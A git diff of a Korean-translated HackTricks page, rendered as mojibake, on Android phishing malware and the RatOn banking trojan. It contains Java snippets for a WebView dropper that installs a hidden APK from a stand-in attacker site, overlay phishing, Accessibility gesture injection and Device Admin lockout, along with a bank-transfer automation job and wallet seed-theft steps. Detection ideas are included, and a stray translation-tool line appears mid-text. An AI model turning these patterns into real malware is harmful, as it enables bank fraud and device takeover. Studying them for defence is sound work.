๋ฐ์ดํธ, ํ๋ ์ ํ).
+### Firebase Cloud Messaging (FCM)๋ฅผ ๋ณต์๋ ฅ ์๋ C2๋ก ์ฌ์ฉ
+- Payload๋ FCM์ ๋ฑ๋ก๋๋ฉฐ; ํธ์ ๋ฉ์์ง๋ ์ก์
์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด ์ค์์น๋ก ์ฌ์ฉ๋๋ `_type` ํ๋๋ฅผ ํฌํจํฉ๋๋ค (์: phishing ํ
์คํธ ํ
ํ๋ฆฟ ์
๋ฐ์ดํธ, ๋์ ํ ๊ธ).
-Example FCM payload:
+์์ FCM payload:
```json
{
"to": "",
@@ -186,27 +185,177 @@ case "smish": sendSmishToContacts(); break;
}
}
```
-### ์ฌ๋ฅ ํจํด ๋ฐ IOC
-- APK๋ `assets/app.apk`์ ๋ณด์กฐ ํ์ด๋ก๋๋ฅผ ํฌํจํฉ๋๋ค.
-- WebView๋ `gate.htm`์์ ๊ฒฐ์ ๋ฅผ ๋ก๋ํ๊ณ `/addup.php`๋ก ์ ์ถํฉ๋๋ค.
-- SMS ์ ์ถ์ `/addsm.php`๋ก ์งํ๋ฉ๋๋ค.
-- ๋จ์ถ ๋งํฌ ๊ธฐ๋ฐ ๊ตฌ์ฑ ๊ฐ์ ธ์ค๊ธฐ (์: `rebrand.ly/*`)๊ฐ CSV ์๋ํฌ์ธํธ๋ฅผ ๋ฐํํฉ๋๋ค.
-- ์ผ๋ฐ โ์
๋ฐ์ดํธ/๋ณด์ ์
๋ฐ์ดํธโ๋ก ๋ผ๋ฒจ์ด ๋ถ์ ์ฑ๋ค.
-- ์ ๋ขฐํ ์ ์๋ ์ฑ์์ `_type` ๊ตฌ๋ถ์๊ฐ ์๋ FCM `data` ๋ฉ์์ง.
+### Hunting patterns and IOCs
+- APK contains secondary payload at `assets/app.apk`
+- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
+- SMS exfiltration to `/addsm.php`
+- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
+- Apps labelled as generic โUpdate/Secure Updateโ
+- FCM `data` messages with a `_type` discriminator in untrusted apps
-### ํ์ง ๋ฐ ๋ฐฉ์ด ์์ด๋์ด
-- ์ค์น ์ค ์ฌ์ฉ์์๊ฒ ๋คํธ์ํฌ ๋นํ์ฑํ๋ฅผ ์ง์ํ๊ณ `assets/`์์ ๋ ๋ฒ์งธ APK๋ฅผ ์ฌ์ด๋ ๋ก๋ํ๋๋ก ํ๋ ์ฑ์ ํ๋๊ทธ๋ฅผ ์ง์ ํฉ๋๋ค.
-- ๊ถํ ํํ: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView ๊ธฐ๋ฐ ๊ฒฐ์ ํ๋ฆ์ ๋ํ ๊ฒฝ๊ณ .
-- ๋น๊ธฐ์
ํธ์คํธ์์ `POST /addup.php|/addsm.php`์ ๋ํ ์ด๊ทธ๋ ์ค ๋ชจ๋ํฐ๋ง; ์๋ ค์ง ์ธํ๋ผ ์ฐจ๋จ.
-- ๋ชจ๋ฐ์ผ EDR ๊ท์น: FCM์ ๋ฑ๋กํ๊ณ `_type` ํ๋์ ๋ฐ๋ผ ๋ถ๊ธฐํ๋ ์ ๋ขฐํ ์ ์๋ ์ฑ.
+### Detection & defence ideas
+- ์ค์น ์ค ๋คํธ์ํฌ ๋นํ์ฑํ๋ฅผ ์ง์ํ ๋ค `assets/`์์ ๋ ๋ฒ์งธ APK๋ฅผ ์ฌ์ด๋๋ก๋ํ๋ ์ฑ ํ์
+- ๋ค์ ๊ถํ ํํ์ ๋ํด ๊ฒฝ๊ณ : `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView ๊ธฐ๋ฐ ๊ฒฐ์ ํ๋ฆ
+- ๋น๊ธฐ์
ํธ์คํธ์์ `POST /addup.php|/addsm.php`์ ๋ํ egress ๋ชจ๋ํฐ๋ง; ์๋ ค์ง ์ธํ๋ผ ์ฐจ๋จ
+- Mobile EDR ๊ท์น: ์ ๋ขฐ๋์ง ์์ ์ฑ์ด FCM์ ๋ฑ๋กํ๊ณ `_type` ํ๋๋ก ๋ถ๊ธฐํ๋ ๊ฒฝ์ฐ
---
-## ์ฐธ์กฐ
+## Android Accessibility/Overlay & Device Admin ์
์ฉ, ATS ์๋ํ ๋ฐ NFC ์ค๊ณ ์ค์ผ์คํธ๋ ์ด์
โ RatOn ์ฌ๋ก ์ฐ๊ตฌ
+
+The RatOn banker/RAT campaign (ThreatFabric)์ ํ๋ ๋ชจ๋ฐ์ผ ํผ์ฑ ์์ ์ด WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, ์ฌ์ง์ด NFC-relay orchestration์ ๊ฒฐํฉํ๋ ๊ตฌ์ฒด์ ์์๋ค. ์ด ์น์
์ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ๊ธฐ์ ์ ์ถ์ํํ๋ค.
+
+### Stage-1: WebView โ ๋ค์ดํฐ๋ธ ์ค์น ๋ธ๋ฆฌ์ง (dropper)
+๊ณต๊ฒฉ์๋ ๊ณต๊ฒฉ์ ํ์ด์ง๋ฅผ ๊ฐ๋ฆฌํค๋ WebView๋ฅผ ํ์ํ๊ณ native installer๋ฅผ ๋
ธ์ถํ๋ JavaScript interface๋ฅผ ์ฃผ์
ํ๋ค. HTML ๋ฒํผ์ ํญํ๋ฉด ๋ค์ดํฐ๋ธ ์ฝ๋๊ฐ ํธ์ถ๋์ด dropper์ assets์ ๋ฒ๋ค๋ 2๋จ๊ณ APK๋ฅผ ์ค์นํ๊ณ ์ฆ์ ์คํํ๋ค.
+
+Minimal pattern:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+HTML ๋๋ ๋งํฌ๋ค์ด ๋ด์ฉ์ ๋ถ์ฌ ๋ฃ์ด ์ฃผ์ธ์. ๊ทธ๋ฌ๋ฉด ํด๋น ๋ด์ฉ์ ๊ท์น์ ๋ง์ถฐ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
+```html
+
+```
+์ค์น ํ dropper๋ explicit package/activity๋ฅผ ํตํด payload๋ฅผ ์์ํฉ๋๋ค:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+ํํ
์์ด๋์ด: ์ ๋ขฐํ ์ ์๋ ์ฑ์ด `addJavascriptInterface()`๋ฅผ ํธ์ถํ๊ณ WebView์ ์ธ์คํจ๋ฌ์ ์ ์ฌํ ๋ฉ์๋๋ฅผ ๋
ธ์ถํ๋ ๊ฒฝ์ฐ; APK๊ฐ `assets/` ์๋์ ํฌํจ๋ 2์ฐจ ํ์ด๋ก๋๋ฅผ ํฌํจํด ๋ฐฐํฌํ๊ณ Package Installer Session API๋ฅผ ํธ์ถํ๋ ๊ฒฝ์ฐ.
+
+### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
+Stage-2์์๋ โAccessโ ํ์ด์ง๋ฅผ ํธ์คํ
ํ๋ WebView๋ฅผ ์ฐ๋ค. ๊ทธ ๋ฒํผ์ ํผํด์๋ฅผ Accessibility ์ค์ ์ผ๋ก ์ด๋์ํค๊ณ ์
์ฑ ์๋น์ค๋ฅผ ํ์ฑํํ๋๋ก ์์ฒญํ๋ exported ๋ฉ์๋๋ฅผ ํธ์ถํ๋ค. ์ผ๋จ ํ์ฉ๋๋ฉด, ์
์ฑ์ฝ๋๋ Accessibility๋ฅผ ์ฌ์ฉํด ์ดํ ๋ฐํ์ ๊ถํ ๋ํ์์(contacts, overlay, manage system settings ๋ฑ)๋ฅผ ์๋์ผ๋ก ํด๋ฆญํ๊ณ Device Admin์ ์์ฒญํ๋ค.
+
+- Accessibility๋ ๋
ธ๋ ํธ๋ฆฌ์์ โAllowโ/โOKโ ๊ฐ์ ๋ฒํผ์ ์ฐพ์ ํด๋ฆญ์ ๋์คํจ์นํ์ฌ ์ดํ ํ๋กฌํํธ๋ฅผ ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์์ผ๋ก ์น์ธํ๋ ๋ฐ ๋์์ ์ค๋ค.
+- Overlay permission check/request:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+์ฐธ๊ณ :
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### WebView๋ฅผ ์ด์ฉํ ์ค๋ฒ๋ ์ด ํผ์ฑ/๋์ฌ
+์ด์์๋ ๋ค์๊ณผ ๊ฐ์ ๋ช
๋ น์ ๋ณด๋ผ ์ ์์:
+- URL์์ ์ ์ฒด ํ๋ฉด ์ค๋ฒ๋ ์ด๋ฅผ ๋ ๋๋งํ๊ฑฐ๋,
+- WebView ์ค๋ฒ๋ ์ด์ ๋ก๋๋๋ ์ธ๋ผ์ธ HTML์ ์ ๋ฌ.
+
+์ฌ์ฉ ์: ๊ฐ์(coercion) (PIN ์
๋ ฅ), wallet ์ด๊ธฐ๋ก PIN ํ์ทจ, ๋์ฌ ๋ฉ์์ง ์ ์ก. ์ค๋ฒ๋ ์ด ๊ถํ์ด ์์ผ๋ฉด ๊ถํ์ด ๋ถ์ฌ๋์๋์ง ํ์ธํ๋ ๋ช
๋ น์ ์ ์ง.
+
+### Remote control model โ text pseudo-screen + screen-cast
+- Low-bandwidth: ์ฃผ๊ธฐ์ ์ผ๋ก Accessibility node tree๋ฅผ ๋คํํ๊ณ , ๋ณด์ด๋ ํ
์คํธ/role/์์ญ(bounds)์ ์ง๋ ฌํํ์ฌ pseudo-screen์ผ๋ก C2์ ์ ์ก (์: `txt_screen`์ ์ผํ์ฑ, `screen_live`๋ ์ง์).
+- High-fidelity: MediaProjection์ ์์ฒญํ๊ณ ํ์ ์ screen-casting/recording์ ์์ (์: `display` / `record`).
+
+### ATS playbook (bank app automation)
+JSON ์์
์ด ์ฃผ์ด์ง๋ฉด, ์ํ ์ฑ์ ์ด๊ณ Accessibility๋ฅผ ํตํด ํ
์คํธ ์ฟผ๋ฆฌ์ ์ขํ ํญ์ ํผํฉํด UI๋ฅผ ์กฐ์ํ๋ฉฐ, ์
๋ ฅ์ ์๊ตฌํ๋ฉด ํผํด์์ ๊ฒฐ์ PIN์ ์
๋ ฅ.
+
+์์ ์์
:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+ํ ํ๊น ํ๋ก์ฐ์์ ํ์ธ๋ ์์ ํ
์คํธ (CZ โ EN):
+- "Novรก platba" โ "์ ๊ฒฐ์ "
+- "Zadat platbu" โ "๊ฒฐ์ ์
๋ ฅ"
+- "Novรฝ pลรญjemce" โ "์ ์์ทจ์ธ"
+- "Domรกcรญ ฤรญslo รบฤtu" โ "๊ตญ๋ด ๊ณ์ข๋ฒํธ"
+- "Dalลกรญ" โ "๋ค์"
+- "Odeslat" โ "๋ณด๋ด๊ธฐ"
+- "Ano, pokraฤovat" โ "์, ๊ณ์"
+- "Zaplatit" โ "๊ฒฐ์ ํ๊ธฐ"
+- "Hotovo" โ "์๋ฃ"
+
+์ด์์๋ `check_limit` ๋ฐ `limit` ๊ฐ์ ๋ช
๋ น์ ํตํด ํ๋ UI๋ฅผ ์ ์ฌํ๊ฒ ํ์ํ์ฌ ์ด์ฒด ํ๋๋ฅผ ํ์ธํ๊ฑฐ๋ ์ํฅ ์กฐ์ ํ ์๋ ์์ต๋๋ค.
+
+### Crypto wallet seed extraction
+MetaMask, Trust Wallet, Blockchain.com, Phantom ๊ฐ์ ๋์. ํ๋ฆ: unlock(๋๋๋นํ PIN ๋๋ ์ ๊ณต๋ ๋น๋ฐ๋ฒํธ), Security/Recovery๋ก ์ด๋ํด reveal/show seed phrase๋ฅผ ํ์ํ๊ณ , keylog/exfiltrateํฉ๋๋ค. EN/RU/CZ/SK ์ธ์ด์ ๋ง์ถ locale-aware selectors๋ฅผ ๊ตฌํํ์ฌ ๋ค๊ตญ์ด์์์ ํ์์ ์์ ํํ์ธ์.
+
+### Device Admin coercion
+Device Admin APIs๋ PIN-capture ๊ธฐํ๋ฅผ ๋๋ฆฌ๊ณ ํผํด์๋ฅผ ๋ฐฉํดํ๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค:
+
+- ์ฆ์ ์ ๊ธ:
+```java
+dpm.lockNow();
+```
+- ํ์ฌ ์๊ฒฉ ์ฆ๋ช
์ ๋ง๋ฃ์์ผ ๋ณ๊ฒฝ์ ๊ฐ์ (Accessibility๊ฐ ์ PIN/password๋ฅผ ์บก์ฒ):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- keyguard์ ์์ฒด ์ธ์ฆ ๊ธฐ๋ฅ์ ๋นํ์ฑํํ์ฌ ๋น์์ฒด ์ ๊ธ ํด์ ๋ฅผ ๊ฐ์ :
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+์ฐธ๊ณ : ๋ง์ DevicePolicyManager ์ ์ด๋ ์ต๊ทผ Android์์ Device Owner/Profile Owner๋ฅผ ์๊ตฌํฉ๋๋ค; ์ผ๋ถ OEM ๋น๋๋ ๋์จํ ์ ์์ต๋๋ค. ํญ์ ๋์ OS/OEM์์ ๊ฒ์ฆํ์ธ์.
+
+### NFC ๋ฆด๋ ์ด ์ค์ผ์คํธ๋ ์ด์
(NFSkate)
+Stage-3์ ์ธ๋ถ NFC-relay ๋ชจ๋(์: NFSkate)์ ์ค์นํ๊ณ ์คํํ ์ ์์ผ๋ฉฐ ๋ฆด๋ ์ด ๋์ ํผํด์๋ฅผ ์๋ดํ๊ธฐ ์ํ HTML ํ
ํ๋ฆฟ์ ์ ๋ฌํ ์๋ ์์ต๋๋ค. ์ด๋ contactless card-present cash-out์ ์จ๋ผ์ธ ATS์ ํจ๊ป ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
+
+๋ฐฐ๊ฒฝ: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator ๋ช
๋ น ์ธํธ (์ํ)
+- UI/state: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
+- Overlays: `overlay` (์ธ๋ผ์ธ HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### ํ์ง ๋ฐ ๋ฐฉ์ด ์์ด๋์ด (RatOn ์คํ์ผ)
+- WebViews์์ `addJavascriptInterface()`๋ก installer/permission ๋ฉ์๋๋ฅผ ๋
ธ์ถํ๋ ๊ฒ์ ํ์งํ์ธ์; Accessibility ํ๋กฌํํธ๋ฅผ ์ ๋ฐํ๋ โ/accessโ๋ก ๋๋๋ ํ์ด์ง๋ฅผ ์ฃผ์ํฉ๋๋ค.
+- ์๋น์ค ์ ๊ทผ ๊ถํ ๋ถ์ฌ ์งํ ๊ณ ๋น๋ Accessibility ์ ์ค์ฒ/ํด๋ฆญ์ ์์ฑํ๋ ์ฑ์ ๋ํด ๊ฒฝ๋ณด๋ฅผ ์ค์ ํ์ธ์; Accessibility node dumps์ ์ ์ฌํ ํ
๋ ๋ฉํธ๋ฆฌ๊ฐ C2๋ก ์ ์ก๋๋ ๊ฒฝ์ฐ๋ ํ์งํฉ๋๋ค.
+- ์ ๋ขฐํ ์ ์๋ ์ฑ์์์ Device Admin ์ ์ฑ
๋ณ๊ฒฝ์ ๋ชจ๋ํฐ๋งํ์ธ์: `lockNow`, ๋น๋ฐ๋ฒํธ ๋ง๋ฃ, keyguard ๊ธฐ๋ฅ ํ ๊ธ ๋ฑ.
+- ๋น๊ธฐ์
(๋น์ฌ๋ด) ์ฑ์์์ MediaProjection ํ๋กฌํํธ ์ดํ ์ฃผ๊ธฐ์ ํ๋ ์ ์
๋ก๋๊ฐ ๋ฐ์ํ๋ฉด ๊ฒฝ๋ณด๋ฅผ ๋ฐํฉ๋๋ค.
+- ๋ค๋ฅธ ์ฑ์ ์ํด ํธ๋ฆฌ๊ฑฐ๋ ์ธ๋ถ NFC-relay ์ฑ์ ์ค์น/์คํ์ ํ์งํ์ธ์.
+- ๋ฑ
ํน์ ๊ฒฝ์ฐ: out-of-band ํ์ธ, biometrics-binding, ์จ-๋๋ฐ์ด์ค ์๋ํ์ ์ ํญํ๋ ๊ฑฐ๋ ํ๋ ์ ์ฉ์ ๊ฐ์ ํ์ธ์.
+
+## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban โ Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging โ Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate โ NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
index 7e034e3a0..bef7cbd90 100644
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@@ -1,20 +1,20 @@
-# Android Accessibility Service Abuse
+# Android ์ ๊ทผ์ฑ ์๋น์ค ์
์ฉ
{{#include ../../banners/hacktricks-training.md}}
## ๊ฐ์
-`AccessibilityService`๋ ์ฅ์ ์ธ์ด Android ์ฅ์น์ ์ํธ์์ฉํ ์ ์๋๋ก ๋๊ธฐ ์ํด ๋ง๋ค์ด์ก์ต๋๋ค. ๋ถํํ๋, ๋์ผํ **๊ฐ๋ ฅํ ์๋ํ API**(์ ์ญ ํ์, ํ
์คํธ ์
๋ ฅ, ์ ์ค์ฒ ์ ์ก, ์ค๋ฒ๋ ์ด ์ฐฝ ๋ฑโฆ)๋ ์
์ฑ ์ํํธ์จ์ด์ ์ํด ๋ฌด๊ธฐํ๋์ด **๋ฃจํธ ๊ถํ ์์ด** ํธ๋์
์ **์์ ์๊ฒฉ ์ ์ด**๋ฅผ ์ป์ ์ ์์ต๋๋ค.
+`AccessibilityService`๋ ์ฅ์ ๊ฐ ์๋ ์ฌ์ฉ์๊ฐ Android ์ฅ์น์ ์ํธ์์ฉํ๋๋ก ๋๊ธฐ ์ํด ๋ง๋ค์ด์ก๋ค. ๋ถํํ๋, ๋์ผํ **๊ฐ๋ ฅํ ์๋ํ APIs** (global navigation, text input, gesture dispatch, overlay windowsโฆ)์ ์
์ฑ์ฝ๋์ ์ํด ์
์ฉ๋์ด ํด๋ํฐ์ _๋ฃจํธ ๊ถํ ์์ด_ **์์ ์๊ฒฉ ์ ์ด**ํ ์ ์๋ค.
-ํ๋ Android ์ํ ํธ๋ก์ด์ ๋ฐ ์๊ฒฉ ์ก์ธ์ค ํธ๋ก์ด์(RAT)์ธ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** ๋ฑ์ ๋์ผํ ๋ ์ํผ๋ฅผ ๋ฐ๋ฆ
๋๋ค:
+์ต๊ทผ์ Android ๋ฑ
ํน ํธ๋ก์ด๋ชฉ๋ง ๋ฐ ์๊ฒฉ์ ๊ทผ ํธ๋ก์ด๋ชฉ๋ง(RAT)๋ค์ธ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** ๋ฑ์ ๊ฐ์ ๋ฐฉ์์ ๋ฐ๋ฅธ๋ค:
-1. ํผํด์๋ฅผ ์ฌํ ๊ณตํ์ ์ผ๋ก ์์ฌ ์
์ฑ ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ํ์ฑํํ๊ฒ ํฉ๋๋ค (*BIND_ACCESSIBILITY_SERVICE* ๊ถํ์ "๊ณ ์ํ"์ผ๋ก ๊ฐ์ฃผ๋๋ฉฐ ๋ช
์์ ์ธ ์ฌ์ฉ์ ์์
์ด ํ์ํฉ๋๋ค).
-2. ์๋น์ค๋ฅผ ํ์ฉํ์ฌ
-* ํ๋ฉด์ ๋ํ๋๋ ๋ชจ๋ UI ์ด๋ฒคํธ ๋ฐ ํ
์คํธ๋ฅผ ์บก์ฒํ๊ณ ,
-* ํฉ์ฑ ์ ์ค์ฒ(`dispatchGesture`) ๋ฐ ์ ์ญ ์์
(`performGlobalAction`)์ ์ฃผ์
ํ์ฌ ์ด์์๊ฐ ์ํ๋ ์์
์ ์๋ํํ๊ณ ,
-* **TYPE_ACCESSIBILITY_OVERLAY** ์ฐฝ ์ ํ์ ์ฌ์ฉํ์ฌ ํฉ๋ฒ์ ์ธ ์ฑ ์์ ์ ์ฒด ํ๋ฉด ์ค๋ฒ๋ ์ด๋ฅผ ๊ทธ๋ฆฌ๋ฉฐ( `SYSTEM_ALERT_WINDOW` ํ๋กฌํํธ ์์!),
-* ํผํด์๋ฅผ ๋์ ํ์ฌ ์์คํ
๋ํ ์์๋ฅผ ํด๋ฆญํ์ฌ ์ถ๊ฐ ๋ฐํ์ ๊ถํ์ ์กฐ์ฉํ ๋ถ์ฌํฉ๋๋ค.
-3. ์ฌ์ฉ์๊ฐ ์์ ํ ์ ์์ ์ธ ํ๋ฉด์ ๋ณด๊ณ ์๋ ๋์ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๊ฑฐ๋ **On-Device-Fraud (ODF)**๋ฅผ ์ค์๊ฐ์ผ๋ก ์ํํฉ๋๋ค.
+1. ํผํด์๊ฐ ์
์ฑ ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ํ์ฑํํ๋๋ก ์ฌํ๊ณตํ ๊ธฐ๋ฒ์ ์ฌ์ฉํ๋ค (*BIND_ACCESSIBILITY_SERVICE* ๊ถํ์ "๊ณ ์ํ"์ผ๋ก ๊ฐ์ฃผ๋๋ฉฐ ๋ช
์์ ์ธ ์ฌ์ฉ์ ๋์์ด ํ์ํ๋ค).
+2. ์๋น์ค๋ฅผ ์ด์ฉํ์ฌ
+* ํ๋ฉด์ ํ์๋๋ ๋ชจ๋ UI ์ด๋ฒคํธ ๋ฐ ํ
์คํธ๋ฅผ ์บก์ฒํ๋ค,
+* ์ด์์๊ฐ ์ํ๋ ์์
์ ์๋ํํ๊ธฐ ์ํด ํฉ์ฑ ์ ์ค์ฒ(`dispatchGesture`)์ ๊ธ๋ก๋ฒ ์ก์
(`performGlobalAction`)์ ์ฃผ์
ํ๋ค,
+* **TYPE_ACCESSIBILITY_OVERLAY** ์๋์ฐ ํ์
์ ์ฌ์ฉํ์ฌ ์ ์ ์ฑ ์์ ์ ์ฒดํ๋ฉด ์ค๋ฒ๋ ์ด๋ฅผ ๊ทธ๋ฆฐ๋ค ( `SYSTEM_ALERT_WINDOW` ํ๋กฌํํธ ์์! ),
+* ํผํด์๋ฅผ ๋์ ํด ์์คํ
๋ค์ด์ผ๋ก๊ทธ๋ฅผ ํด๋ฆญํ์ฌ ์ถ๊ฐ ๋ฐํ์ ๊ถํ์ ์๋ฐํ๊ฒ ํ์ฉํ๋ค.
+3. ์ฌ์ฉ์๊ฐ ์ ํ ์ด์ํ์ง ์์ ํ๋ฉด์ ๋ณด๊ณ ์๋ ๋์ ์ค์๊ฐ์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๊ฑฐ๋ **On-Device-Fraud (ODF)**๋ฅผ ์ํํ๋ค.
---
@@ -34,7 +34,7 @@ android:exported="false">
android:resource="@xml/evil_accessibility_config"/>
```
-๋๋ฐ XML์ ๊ฐ์ง ๋ํ ์์๊ฐ ์ด๋ป๊ฒ ๋ณด์ผ์ง๋ฅผ ์ ์ํฉ๋๋ค:
+๋๋ด๋ XML์ ๊ฐ์ง ๋ํ์์๊ฐ ์ด๋ป๊ฒ ๋ณด์ผ์ง ์ ์ํฉ๋๋ค:
```xml
```
----
-
-## ์๊ฒฉ UI ์๋ํ ์์ ์์
+## ์๊ฒฉ UI ์๋ํ์ ๊ธฐ๋ณธ ์์
```java
public class EvilService extends AccessibilityService {
@Override
@@ -68,17 +66,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
}
}
```
-์ด ๋ ๊ฐ์ API๋ง์ผ๋ก ๊ณต๊ฒฉ์๋ ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
-* ํ๋ฉด ์ ๊ธ์ ํด์ ํ๊ณ , ์ํ ์ฑ์ ์ด๊ณ , UI ํธ๋ฆฌ๋ฅผ ํ์ํ๋ฉฐ, ์ด์ฒด ์์์ ์ ์ถํ ์ ์์ต๋๋ค.
-* ๋ํ๋๋ ๋ชจ๋ ๊ถํ ๋ํ ์์๋ฅผ ์๋ฝํ ์ ์์ต๋๋ค.
-* Play Store ์ธํ
ํธ๋ฅผ ํตํด ์ถ๊ฐ APK๋ฅผ ์ค์น/์
๋ฐ์ดํธํ ์ ์์ต๋๋ค.
+์ด ๋ ๊ฐ์ API๋ง์ผ๋ก ๊ณต๊ฒฉ์๋ ๋ค์์ ์ํํ ์ ์๋ค:
+* ํ๋ฉด์ ์ ๊ธ์ ํด์ ํ๊ณ , ์ํ ์ฑ์ ์ด์ด UI ํธ๋ฆฌ๋ฅผ ํ์ํ ๋ค ์ด์ฒด ํผ์ ์ ์ถํ๋ค.
+* ํ์๋๋ ๋ชจ๋ ๊ถํ ๋ํ์์๋ฅผ ํ์ฉํ๋ค.
+* Play Store intent๋ฅผ ํตํด ์ถ๊ฐ APK๋ฅผ ์ค์น/์
๋ฐ์ดํธํ๋ค.
---
-## ๋จ์ฉ ํจํด
+## ์
์ฉ ํจํด
-### 1. ์ค๋ฒ๋ ์ด ํผ์ฑ (์๊ฒฉ ์ฆ๋ช
์์ง)
-ํฌ๋ช
ํ๊ฑฐ๋ ๋ถํฌ๋ช
ํ `WebView`๊ฐ ์๋์ฐ ๊ด๋ฆฌ์์ ์ถ๊ฐ๋ฉ๋๋ค:
+### 1. Overlay Phishing (Credential Harvesting)
+ํฌ๋ช
ํ๊ฑฐ๋ ๋ถํฌ๋ช
ํ `WebView`๊ฐ ์๋์ฐ ๋งค๋์ ์ ์ถ๊ฐ๋๋ค:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
@@ -87,59 +85,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
-ํผํด์๋ ๊ฐ์ง ์์์ ์๊ฒฉ ์ฆ๋ช
์ ์
๋ ฅํ๋ ๋์ ๋ฐฑ๊ทธ๋ผ์ด๋ ์ฑ์ ๋์ผํ ์ ์ค์ฒ๋ฅผ ์์ ํฉ๋๋ค. - ์์ฌ์ค๋ฌ์ด "๋ค๋ฅธ ์ฑ ์์ ๊ทธ๋ฆฌ๊ธฐ" ํ๋กฌํํธ๋ ํ์๋์ง ์์ต๋๋ค.
+ํผํด์๋ ๊ฐ์ง ํผ์ ์๊ฒฉ ์ฆ๋ช
์ ์
๋ ฅํ๋ ๋์ ๋ฐฑ๊ทธ๋ผ์ด๋ ์ฑ์ ๋์ผํ ์ ์ค์ฒ๋ฅผ ์์ ํฉ๋๋ค โ "draw over other apps"์ ๊ฐ์ ์์ฌ์ค๋ฌ์ด ํ๋กฌํํธ๋ ์ ํ ํ์๋์ง ์์ต๋๋ค.
-> ์์ธํ ์: Tapjacking ํ์ด์ง ๋ด์ *Accessibility Overlay Phishing* ์น์
.
